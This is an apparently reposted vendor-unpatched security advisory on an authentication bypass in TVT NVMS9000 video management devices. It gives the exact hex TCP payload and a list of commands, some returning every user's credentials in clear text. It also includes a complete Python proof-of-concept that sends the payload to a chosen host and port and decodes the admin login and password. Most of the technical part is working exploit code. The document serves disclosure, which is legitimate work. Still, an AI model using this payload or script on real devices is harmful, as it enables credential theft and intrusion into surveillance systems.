SSD ADVISORY – NVMS9000 INFORMATION DISCLOSURE

IoT 2个月前 admin
72 0 0

Summary

The NVMS9000 product by TVT has a critical security flaw that allows remote unauthenticated attackers a wealth of information on the device including, but not limited to, username and passwords, network configuration, etc. This security flaw can be easily exploited, all that is required is access to its open port (depending on configuration the relevant port will be 6036, 17000, 17001, 8000, etc…)

Credit

A security researcher working with SSD Secure Disclosure

Vendor Response

The vendor has been reached out three times in the past 30 days and have not responded to any of our attempts.

Affected Versions

TVT NMVS9000 – it is not clear which versions are affected, from what we have observed any device targeted appears to be vulnerable

Technical Analysis

A single TCP payload sent to a NMVS9000 control port (ex: 6036, 17000, 17001, 8000, etc…) can bypass authentication and be used to execute administrative command on the targeted NMVS9000. The exploitation of that vulnerability is pretty simple and straight forward.

Example of the TCP Payload (in hex):

313131310c010000040000011b09000002010000fc00000061646d696e000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000007175657279426173696343666700000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000003c3f786d6c20
76657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c72657175657
3742076657273696f6e3d22312e30222073797374656d547970653d224e564d532d393030302220
636c69656e74547970653d22574542222075726c3d2271756572794261736963436667222f3e0a

Same TCP payload, decoded (3 lines) :

111111
          adminqueryBasicCfg<?xml version="1.0" encoding="UTF-8"?>
<request version="1.0" systemType="NVMS-9000" clientType="WEB" url="queryBasicCfg"/>

This exploit is pretty basic. It uses the same payload above (with the queryBasicCfg command) in order to get several things, some of them are:

  1. the main admin user’s login & password
  2. the product model
  3. the software version
  4. the software launch date
  5. the serial number
  6. the kernel version
  7. the hardware version

Instead of queryBasicCfg other commands are also possible such as:

queryEmailCfg : will get the smtp configuration
queryUserList : will get all users credentials in clear text
queryPPPoECfg : will get the PPPoE configuration (including credentials)
queryFTPCfg : will get the FTP configuration (including credentials)

A complete list of commands follows:

query1400InServer
query1400InServerList
queryAbnormalTrigger
queryAcsAlarm
queryAcsDeviceList
queryAcsDoorList
queryAcsReaderList
queryAcsSystemList
queryAcsSystemState
queryAlarmEventDictionary
queryAlarmHost
queryAlarmHostList
queryAlarmHostState
queryAlarmIn
queryAlarmOutGroup
queryAlarmOutGroupList
queryAlarmOutList
queryAlarmOutParam
queryAlarmServer
queryAlarmServerList
queryAlarmStatus
queryAlarmTrigger
queryAlbumInfo
queryAllChlStatus
queryAnalysisServer
queryAnalysisServerList
queryAuthGroup
queryAuthGroupList
queryAvd
queryBackFaceMatch
queryBasicCfg
queryBlackAndWhiteList
queryCameraLensCtrlParam
queryCascadeGatewayServer
queryCascadeGatewayServerList
queryCascadePlatformList
queryCdd
queryChannelInfo
queryChannelList
queryChlAVDTrigger
queryChlCruise
queryChlCruiseList
queryChlFaceMatchConfig
queryChlGroup
queryChlGroupList
queryChlMotionArea
queryChlMotionTrigger
queryChlOnlineState
queryChlOSCTrigger
queryChlPeaPerimeterTrigger
queryChlPeaTripWireTrigger
queryChlPresetList
queryChlRecCfg
queryChlRecLog
queryChlsExistRec
queryChlStatus
queryChlStream
queryChlVideoLossTrigger
queryChlVideoParam
queryChSnapFaceImageList
queryContentByLogKey
queryCpc
queryDatesExistRec
queryDDNSCfg
queryDecoder
queryDecoderList
queryDecoderState
queryDev
queryDeviceState
queryDevList
queryDevRecParam
queryDevSysCfg
queryDiskDetailInfo
queryDiskGroupList
queryDiskSmartInfo
queryDiskStatus
queryDwell
queryDynamicInfo
queryEA
queryEmailCfg
queryEMap
queryEMapList
queryEMapTree
queryEventNotifyParam
queryEventRecordCfg
queryExternalDisks
queryFaceMatchAlarm
queryFaceMatchAlarmParam
queryFaceMatchConfig
queryFacePersonnalInfoGroupList
queryFacePersonnalInfoList
queryFkList
queryFkVisitorInfoList
queryFrontEndOfflineTrigger
queryFTPCfg
queryHotArea
queryHotPoint
queryHotPointByResource
queryHotPointList
queryHotPosition
queryIntelAreaConfig
queryIPChlORChlOSD
queryIpd
queryJoinServer
queryJoinServerList
queryLanFreeDecoderList
queryLanFreeDeviceList
queryLanFreeMediaServerList
queryLanFreeServerList
queryLanFreeStorageServerList
queryLanRecorderList
queryLicenseInfo
queryLog
queryLogEventDictionary
queryLogicalDiskList
queryLogVisitorRecord
queryManualRecord
queryMediaServer
queryMediaServerList
queryMotion
queryMotionTrigger
queryMultiNodeAlarmTask
queryMultiNodeAlarmTaskList
queryNetCfg
queryNetPortCfg
queryNetStatus
queryNodeEncodeInfo
queryOfflineChlList
queryOsc
queryPartitionGroup
queryPartitionGroupList
queryPartitionList
queryPassLineCountStatistics
queryPerimeter
queryPls
queryPmsAccountCharge
queryPmsBagPeriodRule
queryPmsBlacklistCarList
queryPmsChargeRules
queryPmsFixedVehicleList
queryPmsLedList
queryPmsParkTime
queryPmsPassCharge
queryPmsPassRecord
queryPmsPassrecordStatistic
queryPmsSectionChargeRules
queryPPPoECfg
queryPrivacyMask
queryPtzProtocol
queryRaidCfg
queryRaidStatistics
queryRaidStatus
queryRecBackupTaskList
queryRecordDistributeInfo
queryRecordSchedule
queryRecordScheduleList
queryRecordState
queryRecStatus
queryRegionStatistics
queryReportDeviceNoAddVms
queryRoiConfig
queryRSUCfg
querySchedule
queryScheduleInfo
queryScheduleList
querySecurityQuestion
querySensor
querySensorList
querySensorScheduleList
queryServer
queryServerState
querySmartAOIEntryConfig
querySmartAOILeaveConfig
querySOPInfo
querySOPInfoList
queryStateLog
queryStorageDevInfo
queryStorageDevStatistics
queryStorageServer
queryStorageServerList
querySubSystem
querySubSystemList
querySubSystemORZoneAlarm
querySupportDevProtocols
querySystemCaps
queryTaskEventDictionary
queryTaskSchedule
queryTimeCfg
queryTreeData
queryTripwire
queryTVWall
queryTVWallList
queryTVWallServer
queryTVWallServerList
queryUPnPCfg
queryUser
queryUserList
queryVehicleConfig
queryVfd
queryVideoLinks
queryVideoLossTrigger
queryVoiceBroadcastFileList
queryWifiProbeInfoList
queryZone
queryZoneList

Proof of Concept

#!/usr/bin/python3
import socket
import random
import base64
import re
import argparse
import sys

parser = argparse.ArgumentParser(
    description="TVT NVMS9000 AUTHENTICATION BYPASS AND INFORMATION DISCLOSURE"
)
parser.add_argument("-host", required=True, help="Host is required")
parser.add_argument("-port", required=True, help="Port is required")
args = parser.parse_args()
if not args.host or not args.port:
    parser.print_help()

dst = args.host
dport = int(args.port)

print("****** TVT NVMS9000 AUTHENTICATION BYPASS AND INFORMATION DISCLOSURE ******\n")

hex_data_conf = """
313131310c010000040000011b09000002010000fc00000061646d696e000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000007175657279426173696343666700000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000003c3f786d6c20
76657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c72657175657
3742076657273696f6e3d22312e30222073797374656d547970653d224e564d532d393030302220
636c69656e74547970653d22574542222075726c3d2271756572794261736963436667222f3e0a
"""

print(f"Targeting {dst} on port {dport} ... Sending TCP payload...")

# SET PAYLOAD
data = bytes.fromhex(hex_data_conf)

# CREATE SOCKET
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# BIND SOCKET TO LOCAL PORT
sport = random.randint(1024, 65535)
s.bind(("0.0.0.0", sport))

# CONNECT TO DESTINATION
s.connect((dst, dport))

# SEND PAYLOAD
data = bytes.fromhex(hex_data_conf)
s.send(data)

response = b""
while True:
    # Receive data in chunks of 1024 bytes
    chunk = s.recv(1024)
    if not chunk:
        # End of data, break out of the loop
        break

    response += chunk
    # Break after end of config
    if b"</response>" in response:
        print("Device is vulnerable ! Here is the TCP response received :\n")
        s.close()
        break

# Process the complete response if break point not triggered before
print(response)

# CLOSE SOCKET
s.close()

# PRINT DATA
response_string = response
admin_creds = re.search(b"AuthInfo: (.*)\r\n", response_string)
if admin_creds == None:
    admin_creds = re.search(b"Data: (.*)\r\n", response_string)
    if admin_creds == None:
        print("Device is not vulnerable or unknown model ?")
        sys.exit()

admin_creds = admin_creds.group(1)
decoded_admin_creds = base64.b64decode(admin_creds).decode("utf-8")

productModel = re.search(b"<productModel>(.*)</productModel>", response_string)
productModel = productModel.group(1)


softwareVersion = re.search(b"<softwareVersion>(.*)</softwareVersion>", response_string)
softwareVersion = softwareVersion.group(1)


launchDate = re.search(b"<launchDate>(.*)</launchDate>", response_string)
launchDate = launchDate.group(1)


sn = re.search(b"<sn>(.*)</sn>", response_string)
sn = sn.group(1)


kenerlVersion = re.search(b"<kenerlVersion>(.*)</kenerlVersion>", response_string)
kenerlVersion = kenerlVersion.group(1)


hardwareVersion = re.search(b"<hardwareVersion>(.*)</hardwareVersion>", response_string)
hardwareVersion = hardwareVersion.group(1)


print(
    f"""
Parsed data:
    Admin Credential: {decoded_admin_creds}
    Product Model: {productModel.decode("utf-8")}
    Software Version: {softwareVersion.decode("utf-8")}
    Launch Date: {launchDate.decode("utf-8")}
    Serial Number: {sn.decode("utf-8")}
    Kernel Version: {kenerlVersion.decode("utf-8")}
    Hardware Version: {hardwareVersion.decode("utf-8")}
"""
)

原文始发于SSSD ADVISORY – NVMS9000 INFORMATION DISCLOSURE

版权声明:admin 发表于 2024年5月24日 下午11:23。
转载请注明:SSD ADVISORY – NVMS9000 INFORMATION DISCLOSURE | CTF导航

相关文章